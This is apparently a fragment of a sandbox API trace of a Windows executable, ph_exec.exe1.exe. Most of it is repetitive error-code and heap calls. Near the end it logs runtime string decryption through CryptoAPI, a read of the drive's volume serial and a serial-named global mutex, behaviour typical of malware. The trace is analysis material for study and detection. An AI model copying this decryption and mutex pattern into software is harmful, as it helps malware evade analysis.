lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x5a\xcf\xdc\x36\xb4\xf6\xcf", lpUsedDefaultChar=0x0) returned 256 [0036.355] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x108f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0036.355] GetLastError () returned 0x0 [0036.355] SetLastError (dwErrCode=0x0) [0036.355] GetLastError () returned 0x0 [0036.355] SetLastError (dwErrCode=0x0) [0036.355] GetLastError () returned 0x0 [0036.355] SetLastError (dwErrCode=0x0) [0036.355] GetLastError () returned 0x0 [0036.355] SetLastError (dwErrCode=0x0) [0036.355] GetLastError () returned 0x0 [0036.355] SetLastError (dwErrCode=0x0) [0036.355] GetLastError () returned 0x0 [0036.355] SetLastError (dwErrCode=0x0) [0036.355] GetLastError () returned 0x0 [0036.355] SetLastError (dwErrCode=0x0) [0036.355] GetLastError () returned 0x0 [0036.355] SetLastError (dwErrCode=0x0) [0036.355] GetLastError () returned 0x0 [0036.355] SetLastError (dwErrCode=0x0) [0036.355] GetLastError () returned 0x0 [0036.355] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.356] SetLastError (dwErrCode=0x0) [0036.356] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.357] SetLastError (dwErrCode=0x0) [0036.357] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x31) returned 0x2961768 [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.358] SetLastError (dwErrCode=0x0) [0036.358] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.359] SetLastError (dwErrCode=0x0) [0036.359] GetLastError () returned 0x0 [0036.360] SetLastError (dwErrCode=0x0) [0036.360] GetLastError () returned 0x0 [0036.360] SetLastError (dwErrCode=0x0) [0036.360] GetLastError () returned 0x0 [0036.360] SetLastError (dwErrCode=0x0) [0036.360] GetLastError () returned 0x0 [0036.360] SetLastError (dwErrCode=0x0) [0036.360] GetLastError () returned 0x0 [0036.360] SetLastError (dwErrCode=0x0) [0036.360] GetLastError () returned 0x0 [0036.360] SetLastError (dwErrCode=0x0) [0036.360] GetLastError () returned 0x0 [0036.360] SetLastError (dwErrCode=0x0) [0036.360] GetLastError () returned 0x0 [0036.361] SetLastError (dwErrCode=0x0) [0036.361] GetLastError () returned 0x0 [0036.361] SetLastError (dwErrCode=0x0) [0036.361] GetLastError () returned 0x0 [0036.361] SetLastError (dwErrCode=0x0) [0036.361] GetLastError () returned 0x0 [0036.361] SetLastError (dwErrCode=0x0) [0036.361] GetLastError () returned 0x0 [0036.361] SetLastError (dwErrCode=0x0) [0036.361] GetLastError () returned 0x0 [0036.361] SetLastError (dwErrCode=0x0) [0036.361] GetLastError () returned 0x0 [0036.361] SetLastError (dwErrCode=0x0) [0036.361] GetLastError () returned 0x0 [0036.361] SetLastError (dwErrCode=0x0) [0036.361] GetLastError () returned 0x0 [0036.361] SetLastError (dwErrCode=0x0) [0036.361] GetLastError () returned 0x0 [0036.361] SetLastError (dwErrCode=0x0) [0036.362] GetLastError () returned 0x0 [0036.362] SetLastError (dwErrCode=0x0) [0036.362] GetLastError () returned 0x0 [0036.362] SetLastError (dwErrCode=0x0) [0036.362] GetLastError () returned 0x0 [0036.362] SetLastError (dwErrCode=0x0) [0036.362] GetLastError () returned 0x0 [0036.362] SetLastError (dwErrCode=0x0) [0036.362] GetLastError () returned 0x0 [0036.362] SetLastError (dwErrCode=0x0) [0036.362] GetLastError () returned 0x0 [0036.362] SetLastError (dwErrCode=0x0) [0036.362] GetLastError () returned 0x0 [0036.362] SetLastError (dwErrCode=0x0) [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x94) returned 0x29617a8 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1f) returned 0x2961848 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x28) returned 0x2961870 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x37) returned 0x29618a0 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x3c) returned 0x29618e0 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x31) returned 0x2961928 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x14) returned 0x2961968 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x24) returned 0x2961988 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0xd) returned 0x29619b8 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x17) returned 0x29619d0 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x2b) returned 0x29619f0 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x15) returned 0x2961a28 [0036.362] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x17) returned 0x2961a48 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x22) returned 0x2961a68 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0xe) returned 0x2961a98 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0xc1) returned 0x2961ab0 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x3e) returned 0x2961b80 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1b) returned 0x2961bc8 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1d) returned 0x2961bf0 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x48) returned 0x2961c18 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x12) returned 0x2961c68 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x18) returned 0x2961c88 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1b) returned 0x2961ca8 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x24) returned 0x2961cd0 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x29) returned 0x2961d00 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x2961d38 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x69) returned 0x2961d60 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x17) returned 0x2961dd8 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0xf) returned 0x2961df8 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x16) returned 0x2961e10 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x28) returned 0x2961e30 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x27) returned 0x2961e60 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x12) returned 0x2961e90 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x21) returned 0x2961eb0 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x10) returned 0x2961ee0 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1c) returned 0x2961ef8 [0036.363] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x12) returned 0x2961f20 [0036.363] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2960fd0 | out: hHeap=0x2960000) returned 1 [0036.364] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0036.364] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x80) returned 0x2961f40 [0036.364] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1088136) returned 0x0 [0036.364] RtlSizeHeap (HeapHandle=0x2960000, Flags=0x0, MemoryPointer=0x2961f40) returned 0x80 [0036.364] GetLastError () returned 0x0 [0036.364] SetLastError (dwErrCode=0x0) [0036.364] GetLastError () returned 0x0 [0036.364] SetLastError (dwErrCode=0x0) [0036.364] GetLastError () returned 0x0 [0036.364] SetLastError (dwErrCode=0x0) [0036.364] GetLastError () returned 0x0 [0036.364] SetLastError (dwErrCode=0x0) [0036.364] GetLastError () returned 0x0 [0036.364] SetLastError (dwErrCode=0x0) [0036.364] GetLastError () returned 0x0 [0036.364] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.365] SetLastError (dwErrCode=0x0) [0036.365] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.366] SetLastError (dwErrCode=0x0) [0036.366] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.367] GetLastError () returned 0x0 [0036.367] SetLastError (dwErrCode=0x0) [0036.368] GetLastError () returned 0x0 [0036.368] SetLastError (dwErrCode=0x0) [0036.368] GetLastError () returned 0x0 [0036.368] SetLastError (dwErrCode=0x0) [0036.368] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x30) returned 0x2960fd0 [0036.368] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x2cc0) returned 0x2961fc8 [0036.368] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x15c) returned 0x2964c90 [0036.368] GetTickCount () returned 0x1f19e [0036.368] GetLastError () returned 0x0 [0036.368] SetLastError (dwErrCode=0x0) [0036.368] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0xcff6e8, cchData=32 | out: lpLCData="\x03") returned 16 [0036.369] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1c) returned 0x2964df8 [0036.369] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1c) returned 0x2964e20 [0036.369] GetVersion () returned 0x23f00206 [0036.369] GetCurrentProcess () returned 0xffffffff [0036.369] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xcff64c | out: TokenHandle=0xcff64c*=0x1cc) returned 1 [0036.369] GetTokenInformation (in: TokenHandle=0x1cc, TokenInformationClass=0x14, TokenInformation=0xcff644, TokenInformationLength=0x4, ReturnLength=0xcff648 | out: TokenInformation=0xcff644, ReturnLength=0xcff648) returned 1 [0036.369] CloseHandle (hObject=0x1cc) returned 1 [0036.369] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2964e48 [0036.369] CryptAcquireContextW (in: phProv=0x108fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x108fcf0*=0xd64968) returned 1 [0036.411] CryptImportKey (in: hProv=0xd64968, pbData=0xcff540, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5a8 | out: phKey=0xcff5a8*=0xd72738) returned 1 [0036.411] CryptSetKeyParam (hKey=0xd72738, dwParam=0x1, pbData=0xcff590, dwFlags=0x0) returned 1 [0036.411] CryptDecrypt (in: hKey=0xd72738, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964e48, pdwDataLen=0xcff55c | out: pbData=0x2964e48, pdwDataLen=0xcff55c) returned 1 [0036.411] CryptDestroyKey (hKey=0xd72738) returned 1 [0036.411] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x2964e70 [0036.412] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x2964e98 [0036.412] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2964ec0 [0036.412] CryptImportKey (in: hProv=0xd64968, pbData=0xcff518, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff580 | out: phKey=0xcff580*=0xd723f8) returned 1 [0036.412] CryptSetKeyParam (hKey=0xd723f8, dwParam=0x1, pbData=0xcff568, dwFlags=0x0) returned 1 [0036.412] CryptDecrypt (in: hKey=0xd723f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964ec0, pdwDataLen=0xcff534 | out: pbData=0x2964ec0, pdwDataLen=0xcff534) returned 1 [0036.412] CryptDestroyKey (hKey=0xd723f8) returned 1 [0036.412] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964ec0 | out: hHeap=0x2960000) returned 1 [0036.412] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2964e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.412] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e98 | out: hHeap=0x2960000) returned 1 [0036.412] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e48 | out: hHeap=0x2960000) returned 1 [0036.412] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcff5e8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcff5e8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.412] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e70 | out: hHeap=0x2960000) returned 1 [0036.412] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2964e48 [0036.412] CryptImportKey (in: hProv=0xd64968, pbData=0xcff574, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5dc | out: phKey=0xcff5dc*=0xd723f8) returned 1 [0036.412] CryptSetKeyParam (hKey=0xd723f8, dwParam=0x1, pbData=0xcff5c4, dwFlags=0x0) returned 1 [0036.412] CryptDecrypt (in: hKey=0xd723f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964e48, pdwDataLen=0xcff590 | out: pbData=0x2964e48, pdwDataLen=0xcff590) returned 1 [0036.412] CryptDestroyKey (hKey=0xd723f8) returned 1 [0036.412] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x2964e90 [0036.412] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x1d0 [0036.412] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0036.412] CloseHandle (hObject=0x1d0) returned 1 [0036.412] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e48 | out: hHeap=0x2960000) returned 1 [0036.413] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e90 | out: hHeap=0x2960000) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2964e48 [0036.413] CryptImportKey (in: hProv=0xd64968, pbData=0xcff554, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5bc | out: phKey=0xcff5bc*=0xd724f8) returned 1 [0036.413] CryptSetKeyParam (hKey=0xd724f8, dwParam=0x1, pbData=0xcff5a4, dwFlags=0x0) returned 1 [0036.413] CryptDecrypt (in: hKey=0xd724f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964e48, pdwDataLen=0xcff570 | out: pbData=0x2964e48, pdwDataLen=0xcff570) returned 1 [0036.413] CryptDestroyKey (hKey=0xd724f8) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x2964e70 [0036.413] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x2964e98 [0036.413] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2964ec0 [0036.413] CryptImportKey (in: hProv=0xd64968, pbData=0xcff52c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff594 | out: phKey=0xcff594*=0xd723f8) returned 1 [0036.413] CryptSetKeyParam (hKey=0xd723f8, dwParam=0x1, pbData=0xcff57c, dwFlags=0x0) returned 1 [0036.413] CryptDecrypt (in: hKey=0xd723f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964ec0, pdwDataLen=0xcff548 | out: pbData=0x2964ec0, pdwDataLen=0xcff548) returned 1 [0036.413] CryptDestroyKey (hKey=0xd723f8) returned 1 [0036.413] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964ec0 | out: hHeap=0x2960000) returned 1 [0036.413] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2964e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.413] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e98 | out: hHeap=0x2960000) returned 1 [0036.413] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e48 | out: hHeap=0x2960000) returned 1 [0036.413] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcff5fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcff5fc*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.413] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e70 | out: hHeap=0x2960000) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2964e48 [0036.413] CryptImportKey (in: hProv=0xd64968, pbData=0xcff588, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5f0 